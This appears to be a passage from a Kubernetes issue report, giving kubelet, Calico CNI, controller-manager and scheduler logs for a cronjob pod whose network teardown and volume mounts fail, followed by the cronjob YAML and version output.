kubernetes.io/host-path/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-etc-ssh\   spec.name: \ etc-ssh\   to pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:02.924479    1396 reconciler.go:318  mountvolume operation started for volume \ kubernetes.io/configmap/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-configmap-mount\   spec.name: \ configmap-mount\   to pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:02.924637    1396 reconciler.go:318  mountvolume operation started for volume \ kubernetes.io/secret/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-default-token-wphxs\   spec.name: \ default-token-wphxs\   to pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:02.927428    1396 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/host-path/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-etc-ssh\   spec.name: \ etc-ssh\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:02.932912    1396 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/secret/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-default-token-wphxs\   spec.name: \ default-token-wphxs\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:02.935035    1396 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-configmap-mount\   spec.name: \ configmap-mount\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:04.230307    1396 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/secret/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-default-token-wphxs\   spec.name: \ default-token-wphxs\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:04.233500    1396 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-configmap-mount\   spec.name: \ configmap-mount\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:04.459932    1396 kuberuntime_manager.go:370  no sandbox for pod \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \  can be found. need to start a new one\r time=\ 2017-12-20t15:42:04z\  level=info msg=\ extracted identifiers\  node=knode7 orchestrator=k8s workload=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:42:04z\  level=info msg=\ loaded cni netconf\  netconfg={ calico-k8s-network calico { calico-ipam  <nil> <nil>      } 0     http://127.0.0.1:4001 info {     } { kubeconfig } {{{ {  }}}}    } workload=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:42:04z\  level=info msg=\ configured environment:  lang=en_us language=en_us: path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin hyperkube_image=myregistry:5000/hyperkube:v1.6.8 pause_image=myregistry:5000/pause:3.0 api_endpoint=1.2.3.4 cadvisor_port=4194 kube_api_secure_port=6443 kube_config=kubeconfig kubelet_port=10250 loglevel=2 pod_manifest_dir=/etc/kubernetes/manifests self_hostname=knode7 cni_command=add cni_containerid=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_netns=/proc/115577/ns/net cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=mynamespace;k8s_pod_name=my-cron-123-1513784520-pz1b7;k8s_pod_infra_container_id=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=http://127.0.0.1:4001 kubeconfig=kubeconfig \ \r time=\ 2017-12-20t15:42:04z\  level=info msg=\ extracted identifiers for cmdaddk8s\  node=knode7 orchestrator=k8s workload=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:42:04z\  level=info msg=\ configured environment:  lang=en_us language=en_us: path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin hyperkube_image=myregistry:5000/hyperkube:v1.6.8 pause_image=myregistry:5000/pause:3.0 api_endpoint=1.2.3.4 cadvisor_port=4194 kube_api_secure_port=6443 kube_config=kubeconfig kubelet_port=10250 loglevel=2 pod_manifest_dir=/etc/kubernetes/manifests self_hostname=knode7 cni_command=add cni_containerid=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_netns=/proc/115577/ns/net cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=mynamespace;k8s_pod_name=my-cron-123-1513784520-pz1b7;k8s_pod_infra_container_id=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=http://127.0.0.1:4001 kubeconfig=kubeconfig \ \r time=\ 2017-12-20t15:42:04z\  level=info msg=\ auto assigning ip\  workload=mynamespace.my-cron-123-1513784520-pz1b7 assignargs={1 0 0xc420306270 map         }\r time=\ 2017-12-20t15:42:04z\  level=info msg=\ creating new handle: mynamespace.my-cron-123-1513784520-pz1b7\ \r time=\ 2017-12-20t15:42:04z\  level=info msg=\ decremented handle 'mynamespace.my-cron-123-1513784520-pz1b7' by 1\ \r time=\ 2017-12-20t15:42:04z\  level=info msg=\ creating new handle: mynamespace.my-cron-123-1513784520-pz1b7\ \r time=\ 2017-12-20t15:42:04z\  level=info msg=\ ipam result\  workload=mynamespace.my-cron-123-1513784520-pz1b7 result.ips= {version:4 interface:0 address:{ip:1.2.3.5 mask:ffffffff} gateway:<nil>} \r time=\ 2017-12-20t15:42:04z\  level=info msg=\ populated endpoint\  workload=mynamespace.my-cron-123-1513784520-pz1b7 endpoint=&{{workloadendpoint v1} {{<nil>} eth0 mynamespace.my-cron-123-1513784520-pz1b7 k8s knode7 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e map  } { 1.2.3.5/32     <nil> <nil>  calico-k8s-network   <nil>}}\r time=\ 2017-12-20t15:42:04z\  level=info msg=\ added mac and interface name to endpoint\  workload=mynamespace.my-cron-123-1513784520-pz1b7 endpoint=&{{workloadendpoint v1} {{<nil>} eth0 mynamespace.my-cron-123-1513784520-pz1b7 k8s knode7 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e map  } { 1.2.3.5/32     <nil> <nil>  calico-k8s-network  cali2c05b40c93f e6:5c:b8:41:b5:04}}\r time=\ 2017-12-20t15:42:04z\  level=info msg=\ wrote updated endpoint to datastore\  workload=mynamespace.my-cron-123-1513784520-pz1b7\r i1220 15:42:05.007393    1396 kubelet.go:1842  syncloop  pleg : \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \ , event: &pleg.podlifecycleevent{id:\ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\ , type:\ containerstarted\ , data:\ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\ }\r i1220 15:42:06.047444    1396 kubelet.go:1842  syncloop  pleg : \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \ , event: &pleg.podlifecycleevent{id:\ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\ , type:\ containerstarted\ , data:\ f056efb76b15d038a4f30b3e42f8d52557e83da7a7e9391e12e81bc261e0cf0a\ }\r i1220 15:42:06.146032    1396 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/secret/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-default-token-wphxs\   spec.name: \ default-token-wphxs\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:06.147526    1396 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-configmap-mount\   spec.name: \ configmap-mount\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:07.063207    1396 kubelet.go:1842  syncloop  pleg : \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \ , event: &pleg.podlifecycleevent{id:\ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\ , type:\ containerdied\ , data:\ f056efb76b15d038a4f30b3e42f8d52557e83da7a7e9391e12e81bc261e0cf0a\ }\r i1220 15:42:07.125113    1396 kubelet_pods.go:917  killing unwanted pod \ my-cron-123-1513784520-pz1b7\ \r i1220 15:42:07.129145    1396 kuberuntime_container.go:545  killing container \ docker://f056efb76b15d038a4f30b3e42f8d52557e83da7a7e9391e12e81bc261e0cf0a\  with 30 second grace period\r i1220 15:42:07.155666    1396 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-configmap-mount\   spec.name: \ configmap-mount\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:07.156450    1396 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/secret/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-default-token-wphxs\   spec.name: \ default-token-wphxs\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:07.243117    1396 reconciler.go:201  unmountvolume operation started for volume \ kubernetes.io/configmap/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-configmap-mount\   spec.name: \ configmap-mount\   from pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:07.243520    1396 reconciler.go:201  unmountvolume operation started for volume \ kubernetes.io/host-path/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-etc-ssh\   spec.name: \ etc-ssh\   from pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:07.243801    1396 reconciler.go:201  unmountvolume operation started for volume \ kubernetes.io/secret/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-default-token-wphxs\   spec.name: \ default-token-wphxs\   from pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  .\r i1220 15:42:07.245697    1396 operation_generator.go:672  unmountvolume.teardown succeeded for volume \ kubernetes.io/host-path/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-etc-ssh\   outervolumespecname: \ etc-ssh\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  . innervolumespecname \ etc-ssh\ . pluginname \ kubernetes.io/host-path\ , volumegidvalue \ \ \r i1220 15:42:07.252149    1396 operation_generator.go:672  unmountvolume.teardown succeeded for volume \ kubernetes.io/configmap/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-configmap-mount\   outervolumespecname: \ configmap-mount\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  . innervolumespecname \ configmap-mount\ . pluginname \ kubernetes.io/configmap\ , volumegidvalue \ \ \r time=\ 2017-12-20t15:42:07z\  level=info msg=\ extracted identifiers\  node=knode7 orchestrator=k8s workload=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:42:07z\  level=info msg=\ configured environment:  lang=en_us language=en_us: path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin hyperkube_image=myregistry:5000/hyperkube:v1.6.8 pause_image=myregistry:5000/pause:3.0 api_endpoint=1.2.3.4 cadvisor_port=4194 kube_api_secure_port=6443 kube_config=kubeconfig kubelet_port=10250 loglevel=2 pod_manifest_dir=/etc/kubernetes/manifests self_hostname=knode7 cni_command=del cni_containerid=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_netns=/proc/115577/ns/net cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=mynamespace;k8s_pod_name=my-cron-123-1513784520-pz1b7;k8s_pod_infra_container_id=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=http://127.0.0.1:4001 kubeconfig=kubeconfig \ \r i1220 15:42:07.265518    1396 operation_generator.go:672  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-default-token-wphxs\   outervolumespecname: \ default-token-wphxs\   pod \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\   uid: \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  . innervolumespecname \ default-token-wphxs\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r i1220 15:42:07.344049    1396 reconciler.go:363  detached volume \ kubernetes.io/host-path/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-etc-ssh\   spec.name: \ etc-ssh\   devicepath: \ \ \r i1220 15:42:07.344187    1396 reconciler.go:363  detached volume \ kubernetes.io/secret/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-default-token-wphxs\   spec.name: \ default-token-wphxs\   devicepath: \ \ \r i1220 15:42:07.344202    1396 reconciler.go:363  detached volume \ kubernetes.io/configmap/52d9b9b4-e59c-11e7-b6c8-005056ae60f5-configmap-mount\   spec.name: \ configmap-mount\   devicepath: \ \ \r time=\ 2017-12-20t15:42:07z\  level=info msg=\ configured environment:  lang=en_us language=en_us: path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin hyperkube_image=myregistry:5000/hyperkube:v1.6.8 pause_image=myregistry:5000/pause:3.0 api_endpoint=1.2.3.4 cadvisor_port=4194 kube_api_secure_port=6443 kube_config=kubeconfig kubelet_port=10250 loglevel=2 pod_manifest_dir=/etc/kubernetes/manifests self_hostname=knode7 cni_command=del cni_containerid=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_netns=/proc/115577/ns/net cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=mynamespace;k8s_pod_name=my-cron-123-1513784520-pz1b7;k8s_pod_infra_container_id=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=http://127.0.0.1:4001 kubeconfig=kubeconfig \ \r time=\ 2017-12-20t15:42:07z\  level=info msg=\ releasing address using workloadid\  workload=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:42:07z\  level=info msg=\ releasing all ips with handle 'mynamespace.my-cron-123-1513784520-pz1b7'\ \r time=\ 2017-12-20t15:42:07z\  level=info msg=\ decremented handle 'mynamespace.my-cron-123-1513784520-pz1b7' by 1\ \r time=\ 2017-12-20t15:42:07z\  level=info msg=\ released address using workloadid\  workload=mynamespace.my-cron-123-1513784520-pz1b7\r calico cni deleting device in netns /proc/115577/ns/net\r e1220 15:42:09.401448    1396 cni.go:278  error deleting network: failed to statfs \ /proc/115577/ns/net\ : no such file or directory\r e1220 15:42:09.554117    1396 remote_runtime.go:109  stoppodsandbox \ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ my-cron-123-1513784520-pz1b7_mynamespace\  network: failed to statfs \ /proc/115577/ns/net\ : no such file or directory\r e1220 15:42:09.554162    1396 kuberuntime_manager.go:784  failed to stop sandbox {\ docker\  \ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\ }\r e1220 15:42:09.554192    1396 kubelet_pods.go:920  failed killing the pod \ my-cron-123-1513784520-pz1b7\ : failed to \ killpodsandbox\  for \ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\  with killpodsandboxerror: \ rpc error: code = 2 desc = networkplugin cni failed to teardown pod \\\ my-cron-123-1513784520-pz1b7_mynamespace\\\  network: failed to statfs \\\ /proc/115577/ns/net\\\ : no such file or directory\ \r w1220 15:42:10.108168    1396 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ my-cron-123-1513784520-pz1b7_mynamespace\ : cannot find the network namespace, skipping pod network status for container {\ docker\  \ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\ }\r i1220 15:42:10.112898    1396 kubelet.go:1842  syncloop  pleg : \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \ , event: &pleg.podlifecycleevent{id:\ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\ , type:\ containerdied\ , data:\ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\ }\r w1220 15:42:10.112936    1396 pod_container_deletor.go:77  container \ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\  not found in pod's containers\r i1220 15:42:11.125066    1396 kubelet_pods.go:917  killing unwanted pod \ my-cron-123-1513784520-pz1b7\ \r w1220 15:42:11.127222    1396 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ my-cron-123-1513784520-pz1b7_mynamespace\ : cannot find the network namespace, skipping pod network status for container {\ docker\  \ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\ }\r time=\ 2017-12-20t15:42:11z\  level=info msg=\ extracted identifiers\  node=knode7 orchestrator=k8s workload=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:42:11z\  level=info msg=\ configured environment:  lang=en_us language=en_us: path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin hyperkube_image=myregistry:5000/hyperkube:v1.6.8 pause_image=myregistry:5000/pause:3.0 api_endpoint=1.2.3.4 cadvisor_port=4194 kube_api_secure_port=6443 kube_config=kubeconfig kubelet_port=10250 loglevel=2 pod_manifest_dir=/etc/kubernetes/manifests self_hostname=knode7 cni_command=del cni_containerid=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_netns= cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=mynamespace;k8s_pod_name=my-cron-123-1513784520-pz1b7;k8s_pod_infra_container_id=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=http://127.0.0.1:4001 kubeconfig=kubeconfig \ \r time=\ 2017-12-20t15:42:11z\  level=warning msg=\ workloadendpoint does not exist in the datastore, moving forward with the clean up\  workload=mynamespace.my-cron-123-1513784520-pz1b7 workloadendpoint={{<nil>} eth0 mynamespace.my-cron-123-1513784520-pz1b7 k8s knode7  map  }\r time=\ 2017-12-20t15:42:11z\  level=info msg=\ configured environment:  lang=en_us language=en_us: path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin hyperkube_image=myregistry:5000/hyperkube:v1.6.8 pause_image=myregistry:5000/pause:3.0 api_endpoint=1.2.3.4 cadvisor_port=4194 kube_api_secure_port=6443 kube_config=kubeconfig kubelet_port=10250 loglevel=2 pod_manifest_dir=/etc/kubernetes/manifests self_hostname=knode7 cni_command=del cni_containerid=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_netns= cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=mynamespace;k8s_pod_name=my-cron-123-1513784520-pz1b7;k8s_pod_infra_container_id=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=http://127.0.0.1:4001 kubeconfig=kubeconfig \ \r time=\ 2017-12-20t15:42:11z\  level=info msg=\ releasing address using workloadid\  workload=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:42:11z\  level=info msg=\ releasing all ips with handle 'mynamespace.my-cron-123-1513784520-pz1b7'\ \r time=\ 2017-12-20t15:42:11z\  level=warning msg=\ asked to release address but it doesn't exist. ignoring\  workload=mynamespace.my-cron-123-1513784520-pz1b7 workloadid=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:42:11z\  level=info msg=\ teardown processing complete.\  workload=mynamespace.my-cron-123-1513784520-pz1b7 endpoint=<nil>\r e1220 15:44:07.063669    1396 kubelet.go:1549  unable to mount volumes for pod \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \ : timeout expired waiting for volumes to attach/mount for pod \ mynamespace\ /\ my-cron-123-1513784520-pz1b7\ . list of unattached/unmounted volumes= etc-ssh configmap-mount default-token-wphxs ; skipping pod\r e1220 15:44:07.063698    1396 pod_workers.go:182  error syncing pod 52d9b9b4-e59c-11e7-b6c8-005056ae60f5  \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \  , skipping: timeout expired waiting for volumes to attach/mount for pod \ mynamespace\ /\ my-cron-123-1513784520-pz1b7\ . list of unattached/unmounted volumes= etc-ssh configmap-mount default-token-wphxs \r i1220 15:44:14.104154    1396 kubelet.go:1824  syncloop  delete, \ api\  : \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \ \r i1220 15:44:14.110689    1396 kubelet.go:1818  syncloop  remove, \ api\  : \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \ \r i1220 15:44:14.110726    1396 kubelet.go:2002  failed to delete pod \ my-cron-123-1513784520-pz1b7_mynamespace 52d9b9b4-e59c-11e7-b6c8-005056ae60f5 \ , err: pod not found\r w1220 15:45:01.989628    1396 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ my-cron-123-1513784520-pz1b7_mynamespace\ : cannot find the network namespace, skipping pod network status for container {\ docker\  \ 159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e\ }\r time=\ 2017-12-20t15:45:02z\  level=info msg=\ extracted identifiers\  node=knode7 orchestrator=k8s workload=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:45:02z\  level=info msg=\ configured environment:  lang=en_us language=en_us: path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin hyperkube_image=myregistry:5000/hyperkube:v1.6.8 pause_image=myregistry:5000/pause:3.0 api_endpoint=1.2.3.4 cadvisor_port=4194 kube_api_secure_port=6443 kube_config=kubeconfig kubelet_port=10250 loglevel=2 pod_manifest_dir=/etc/kubernetes/manifests self_hostname=knode7 cni_command=del cni_containerid=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_netns= cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=mynamespace;k8s_pod_name=my-cron-123-1513784520-pz1b7;k8s_pod_infra_container_id=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=http://127.0.0.1:4001 kubeconfig=kubeconfig \ \r time=\ 2017-12-20t15:45:02z\  level=warning msg=\ workloadendpoint does not exist in the datastore, moving forward with the clean up\  workload=mynamespace.my-cron-123-1513784520-pz1b7 workloadendpoint={{<nil>} eth0 mynamespace.my-cron-123-1513784520-pz1b7 k8s knode7  map  }\r time=\ 2017-12-20t15:45:02z\  level=info msg=\ configured environment:  lang=en_us language=en_us: path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin hyperkube_image=myregistry:5000/hyperkube:v1.6.8 pause_image=myregistry:5000/pause:3.0 api_endpoint=1.2.3.4 cadvisor_port=4194 kube_api_secure_port=6443 kube_config=kubeconfig kubelet_port=10250 loglevel=2 pod_manifest_dir=/etc/kubernetes/manifests self_hostname=knode7 cni_command=del cni_containerid=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_netns= cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=mynamespace;k8s_pod_name=my-cron-123-1513784520-pz1b7;k8s_pod_infra_container_id=159b8a23dccc9a3e8747309b4ba0e968493cc216197dc44046ff0e688989074e cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=http://127.0.0.1:4001 kubeconfig=kubeconfig \ \r time=\ 2017-12-20t15:45:02z\  level=info msg=\ releasing address using workloadid\  workload=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:45:02z\  level=info msg=\ releasing all ips with handle 'mynamespace.my-cron-123-1513784520-pz1b7'\ \r time=\ 2017-12-20t15:45:02z\  level=warning msg=\ asked to release address but it doesn't exist. ignoring\  workload=mynamespace.my-cron-123-1513784520-pz1b7 workloadid=mynamespace.my-cron-123-1513784520-pz1b7\r time=\ 2017-12-20t15:45:02z\  level=info msg=\ teardown processing complete.\  workload=mynamespace.my-cron-123-1513784520-pz1b7 endpoint=<nil>\r    \r \r controller manager for the pod:\r    \r i1220 15:42:02.588094       1 event.go:217  event v1.objectreference{kind:\ job\ , namespace:\ mynamespace\ , name:\ my-cron-123-1513784520\ , uid:\ 52d4c52e-e59c-11e7-b6c8-005056ae60f5\ , apiversion:\ batch\ , resourceversion:\ 104511222\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: my-cron-123-1513784520-pz1b7\r i1220 15:44:14.091244       1 cronjob_controller.go:370  cronjob controller is deleting pod mynamespace/my-cron-123-1513784520-pz1b7\r    \r \r scheduler for the pod:\r    \r i1220 15:42:02.630681       1 event.go:217  event v1.objectreference{kind:\ pod\ , namespace:\ mynamespace\ , name:\ my-cron-123-1513784520-pz1b7\ , uid:\ 52d9b9b4-e59c-11e7-b6c8-005056ae60f5\ , apiversion:\ v1\ , resourceversion:\ 104511225\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned my-cron-123-1513784520-pz1b7 to knode7\r    \r \r cron yaml:\r    \r apiversion: batch/v2alpha1\r kind: cronjob\r metadata:\r   annotations:\r     kubernetes.io/change-cause: kubectl create --kubeconfig=kubeconfig --namespace=mynamespace --filename=mytemplate.yaml --record=true\r   creationtimestamp: 2017-12-12t22:28:54z\r   labels:\r     name: my-cron\r     version: 123\r   name: my-cron-123\r   namespace: mynamespace \r   resourceversion: \ 104537731\ \r   selflink: /apis/batch/v2alpha1/namespaces/mynamespace/cronjobs/my-cron-123 \r   uid: d63bdd94-df8b-11e7-a687-005056ae60f5\r spec:\r   concurrencypolicy: forbid \r   failedjobshistorylimit: 5\r   jobtemplate:\r     metadata:\r       creationtimestamp: null\r     spec:\r       template:\r         metadata:\r           creationtimestamp: null\r           labels:\r             app: hosting_platform\r             name: my-cron\r             version: 123\r         spec:\r           containers:\r           - command:\r             - task.py\r             image: myregistry:5000/mycronimage:tag\r             imagepullpolicy: ifnotpresent\r             livenessprobe:\r               exec:\r                 command: \r                 - /control-scripts/livenesscheck.sh\r               failurethreshold: 3\r               initialdelayseconds: 30\r               periodseconds: 30\r               successthreshold: 1\r               timeoutseconds: 1\r             name: my-cron\r             resources:\r               limits:\r                 cpu: 1500m\r                 memory: 250mi\r               requests:\r                 cpu: 500m\r                 memory: 150mi\r             terminationmessagepath: /dev/termination-log\r             terminationmessagepolicy: file\r             volumemounts:\r             - mountpath: /tmp/ssh\r               name: etc-ssh\r             - mountpath: /configs\r               name: configmap-mount\r           dnspolicy: clusterfirst\r           restartpolicy: onfailure\r           schedulername: default-scheduler\r           securitycontext: {}\r           terminationgraceperiodseconds: 30\r           volumes:\r           - hostpath:\r               path: /etc/ssh\r             name: etc-ssh\r           - configmap:\r               defaultmode: 420\r               items: ...\r               name: 1ed50810899225c2955984cc360e87dd\r             name: configmap-mount\r   schedule: '         '\r   successfuljobshistorylimit: 2\r   suspend: false\r status:       \r   lastscheduletime: 2017-12-20t17:36:00z\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:12:08z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , 